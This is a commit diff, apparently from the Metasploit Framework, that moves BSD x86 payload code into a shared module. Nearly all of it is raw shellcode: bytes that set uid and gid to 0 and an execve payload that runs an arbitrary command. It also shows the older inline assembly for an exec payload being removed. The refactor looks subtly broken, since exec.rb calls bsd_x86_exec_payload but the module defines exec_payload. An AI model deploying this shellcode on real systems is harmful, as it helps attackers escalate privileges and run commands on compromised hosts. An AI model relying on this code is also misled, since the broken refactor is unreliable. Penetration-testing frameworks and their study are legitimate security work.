Skip to content

Commit e56590e

Browse files
committed
DRY up common code between BSD / OSX.
1 parent b5ae3fd commit e56590e

File tree

4 files changed

+153
-188
lines changed

4 files changed

+153
-188
lines changed

lib/msf/core/payload/bsd.rb

Lines changed: 2 additions & 71 deletions
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,8 @@
1010
###
1111
module Msf::Payload::Bsd
1212

13+
include Msf::Payload::Bsd::X86
14+
1315
#
1416
# This mixin is chained within payloads that target the BSD platform.
1517
# It provides special prepends, to support things like chroot and setuid.
@@ -73,7 +75,6 @@ def initialize(info = {})
7375
ret
7476
end
7577

76-
7778
def apply_prepends(buf)
7879
test_arch = [ *(self.arch) ]
7980
pre = ''
@@ -88,76 +89,6 @@ def apply_prepends(buf)
8889
pre + buf + app
8990
end
9091

91-
def handle_x86_bsd_opts(pre, app)
92-
if (datastore['PrependSetresuid'])
93-
# setresuid(0, 0, 0)
94-
pre << "\x31\xc0" +# xorl %eax,%eax #
95-
"\x50" +# pushl %eax #
96-
"\x50" +# pushl %eax #
97-
"\x50" +# pushl %eax #
98-
"\x50" +# pushl %eax #
99-
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
100-
"\xcd\x80" # int $0x80 #
101-
end
102-
103-
if (datastore['PrependSetreuid'])
104-
# setreuid(0, 0)
105-
pre << "\x31\xc0" +# xorl %eax,%eax #
106-
"\x50" +# pushl %eax #
107-
"\x50" +# pushl %eax #
108-
"\x50" +# pushl %eax #
109-
"\xb0\x7e" +# movb $0x7e,%al #
110-
"\xcd\x80" # int $0x80 #
111-
end
112-
113-
if (datastore['PrependSetuid'])
114-
# setuid(0)
115-
pre << "\x31\xc0" +# xorl %eax,%eax #
116-
"\x50" +# pushl %eax #
117-
"\x50" +# pushl %eax #
118-
"\xb0\x17" +# movb $0x17,%al #
119-
"\xcd\x80" # int $0x80 #
120-
end
121-
122-
if (datastore['PrependSetresgid'])
123-
# setresgid(0, 0, 0)
124-
pre << "\x31\xc0" +# xorl %eax,%eax #
125-
"\x50" +# pushl %eax #
126-
"\x50" +# pushl %eax #
127-
"\x50" +# pushl %eax #
128-
"\x50" +# pushl %eax #
129-
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
130-
"\xcd\x80" # int $0x80 #
131-
end
132-
133-
if (datastore['PrependSetregid'])
134-
# setregid(0, 0)
135-
pre << "\x31\xc0" +# xorl %eax,%eax #
136-
"\x50" +# pushl %eax #
137-
"\x50" +# pushl %eax #
138-
"\x50" +# pushl %eax #
139-
"\xb0\x7f" +# movb $0x7f,%al #
140-
"\xcd\x80" # int $0x80 #
141-
end
142-
143-
if (datastore['PrependSetgid'])
144-
# setgid(0)
145-
pre << "\x31\xc0" +# xorl %eax,%eax #
146-
"\x50" +# pushl %eax #
147-
"\x50" +# pushl %eax #
148-
"\xb0\xb5" +# movb $0xb5,%al #
149-
"\xcd\x80" # int $0x80 #
150-
end
151-
152-
if (datastore['AppendExit'])
153-
# exit(0)
154-
app << "\x31\xc0" +# xorl %eax,%eax #
155-
"\x50" +# pushl %eax #
156-
"\xb0\x01" +# movb $0x01,%al #
157-
"\xcd\x80" # int $0x80 #
158-
end
159-
end
160-
16192
def handle_x64_bsd_opts(pre, app)
16293
if (datastore['PrependSetresuid'])
16394
# setresuid(0, 0, 0)

lib/msf/core/payload/bsd/x86.rb

Lines changed: 128 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,128 @@
1+
# -*- coding: binary -*-
2+
require 'msf/core'
3+
4+
###
5+
# Contains common x86 BSD code
6+
###
7+
module Msf::Payload::Bsd::X86
8+
9+
def exec_payload
10+
cmd_str = datastore['CMD'] || ''
11+
# Split the cmd string into arg chunks
12+
cmd_parts = Shellwords.shellsplit(cmd_str)
13+
# the non-exe-path parts of the chunks need to be reversed for execve
14+
cmd_parts = ([cmd_parts.first] + (cmd_parts[1..-1] || []).reverse).compact
15+
arg_str = cmd_parts.map { |a| "#{a}\x00" }.join
16+
17+
payload = ''
18+
19+
# Stuff an array of arg strings into memory
20+
payload << "\x31\xc0" # xor eax, eax (eax => 0)
21+
payload << Rex::Arch::X86.call(arg_str.length) # jmp over CMD_STR, stores &CMD_STR on stack
22+
payload << arg_str
23+
payload << "\x5B" # pop ebx (ebx => &CMD_STR)
24+
25+
# now EBX contains &cmd_parts[0], the exe path
26+
if cmd_parts.length > 1
27+
# Build an array of pointers to arguments
28+
payload << "\x89\xD9" # mov ecx, ebx
29+
payload << "\x50" # push eax; null byte (end of array)
30+
payload << "\x89\xe2" # mov edx, esp (EDX points to the end-of-array null byte)
31+
32+
cmd_parts[1..-1].each_with_index do |arg, idx|
33+
l = [cmd_parts[idx].length+1].pack('V')
34+
# can probably save space here by doing the loop in ASM
35+
# for each arg, push its current memory location on to the stack
36+
payload << "\x81\xC1" # add ecx, ...
37+
payload << l # (cmd_parts[idx] is the prev arg)
38+
payload << "\x51" # push ecx (&cmd_parts[idx])
39+
end
40+
41+
payload << "\x53" # push ebx (&cmd_parts[0])
42+
payload << "\x89\xe1" # mov ecx, esp (ptr to ptr to first str)
43+
payload << "\x52" # push edx
44+
payload << "\x51" # push ecx
45+
else
46+
# pass NULL args array to execve() call
47+
payload << "\x50\x50" # push eax, push eax
48+
end
49+
50+
payload << "\x53" # push ebx
51+
payload << "\xb0\x3b" # mov al, 0x3b (execve)
52+
payload << "\x50" # push eax
53+
payload << "\xcd\x80" # int 0x80 (triggers execve syscall)
54+
55+
payload
56+
end
57+
58+
def handle_x86_bsd_opts(pre, app)
59+
if (datastore['PrependSetresuid'])
60+
# setresuid(0, 0, 0)
61+
pre << "\x31\xc0" +# xorl %eax,%eax #
62+
"\x50" +# pushl %eax #
63+
"\x50" +# pushl %eax #
64+
"\x50" +# pushl %eax #
65+
"\x50" +# pushl %eax #
66+
"\x66\xb8\x37\x01" +# movw $0x0137,%ax #
67+
"\xcd\x80" # int $0x80 #
68+
end
69+
70+
if (datastore['PrependSetreuid'])
71+
# setreuid(0, 0)
72+
pre << "\x31\xc0" +# xorl %eax,%eax #
73+
"\x50" +# pushl %eax #
74+
"\x50" +# pushl %eax #
75+
"\x50" +# pushl %eax #
76+
"\xb0\x7e" +# movb $0x7e,%al #
77+
"\xcd\x80" # int $0x80 #
78+
end
79+
80+
if (datastore['PrependSetuid'])
81+
# setuid(0)
82+
pre << "\x31\xc0" +# xorl %eax,%eax #
83+
"\x50" +# pushl %eax #
84+
"\x50" +# pushl %eax #
85+
"\xb0\x17" +# movb $0x17,%al #
86+
"\xcd\x80" # int $0x80 #
87+
end
88+
89+
if (datastore['PrependSetresgid'])
90+
# setresgid(0, 0, 0)
91+
pre << "\x31\xc0" +# xorl %eax,%eax #
92+
"\x50" +# pushl %eax #
93+
"\x50" +# pushl %eax #
94+
"\x50" +# pushl %eax #
95+
"\x50" +# pushl %eax #
96+
"\x66\xb8\x38\x01" +# movw $0x0138,%ax #
97+
"\xcd\x80" # int $0x80 #
98+
end
99+
100+
if (datastore['PrependSetregid'])
101+
# setregid(0, 0)
102+
pre << "\x31\xc0" +# xorl %eax,%eax #
103+
"\x50" +# pushl %eax #
104+
"\x50" +# pushl %eax #
105+
"\x50" +# pushl %eax #
106+
"\xb0\x7f" +# movb $0x7f,%al #
107+
"\xcd\x80" # int $0x80 #
108+
end
109+
110+
if (datastore['PrependSetgid'])
111+
# setgid(0)
112+
pre << "\x31\xc0" +# xorl %eax,%eax #
113+
"\x50" +# pushl %eax #
114+
"\x50" +# pushl %eax #
115+
"\xb0\xb5" +# movb $0xb5,%al #
116+
"\xcd\x80" # int $0x80 #
117+
end
118+
119+
if (datastore['AppendExit'])
120+
# exit(0)
121+
app << "\x31\xc0" +# xorl %eax,%eax #
122+
"\x50" +# pushl %eax #
123+
"\xb0\x01" +# movb $0x01,%al #
124+
"\xcd\x80" # int $0x80 #
125+
end
126+
end
127+
128+
end

modules/payloads/singles/bsd/x86/exec.rb

Lines changed: 7 additions & 54 deletions
Original file line numberDiff line numberDiff line change
@@ -5,6 +5,7 @@
55

66

77
require 'msf/core'
8+
require 'msf/core/payload/bsd/x86'
89

910

1011
###
@@ -17,10 +18,10 @@
1718
###
1819
module Metasploit3
1920

20-
CachedSize = 42
21+
CachedSize = 16
2122

2223
include Msf::Payload::Single
23-
include Msf::Payload::Bsd
24+
include Msf::Payload::Bsd::X86
2425

2526
def initialize(info = {})
2627
super(merge_info(info,
@@ -32,64 +33,16 @@ def initialize(info = {})
3233
'Arch' => ARCH_X86))
3334

3435
# Register exec options
35-
register_options(
36-
[
37-
OptString.new('CMD', [ true, "The command string to execute" ]),
38-
], self.class)
36+
register_options([
37+
OptString.new('CMD', [ true, "The command string to execute" ]),
38+
], self.class)
3939
end
4040

4141
#
4242
# Dynamically builds the exec payload based on the user's options.
4343
#
4444
def generate_stage
45-
cmd = datastore['CMD'] || ''
46-
asm = <<-EOS
47-
;;
48-
;
49-
; Name: single_exec
50-
; Platforms: *BSD
51-
; Author: vlad902 <vlad902 [at] gmail.com>
52-
; License:
53-
;
54-
; This file is part of the Metasploit Exploit Framework
55-
; and is subject to the same licenses and copyrights as
56-
; the rest of this package.
57-
;
58-
; Description:
59-
;
60-
; Execute an arbitary command.
61-
;
62-
;;
63-
; NULLs are fair game.
64-
65-
push 0x3b
66-
pop eax
67-
cdq
68-
69-
push edx
70-
push 0x632d
71-
mov edi, esp
72-
73-
push edx
74-
push 0x68732f6e
75-
push 0x69622f2f
76-
mov ebx, esp
77-
78-
push edx
79-
call getstr
80-
db "CMD", 0x00
81-
getstr:
82-
push edi
83-
push ebx
84-
mov ecx, esp
85-
push edx
86-
push ecx
87-
push ebx
88-
push eax
89-
int 0x80
90-
EOS
91-
asm.gsub!(/CMD/, cmd.gsub('"', "\\\""))
92-
payload = Metasm::Shellcode.assemble(Metasm::Ia32.new, asm).encode_string
45+
bsd_x86_exec_payload
9346
end
9447

9548
end

0 commit comments

Comments
 (0)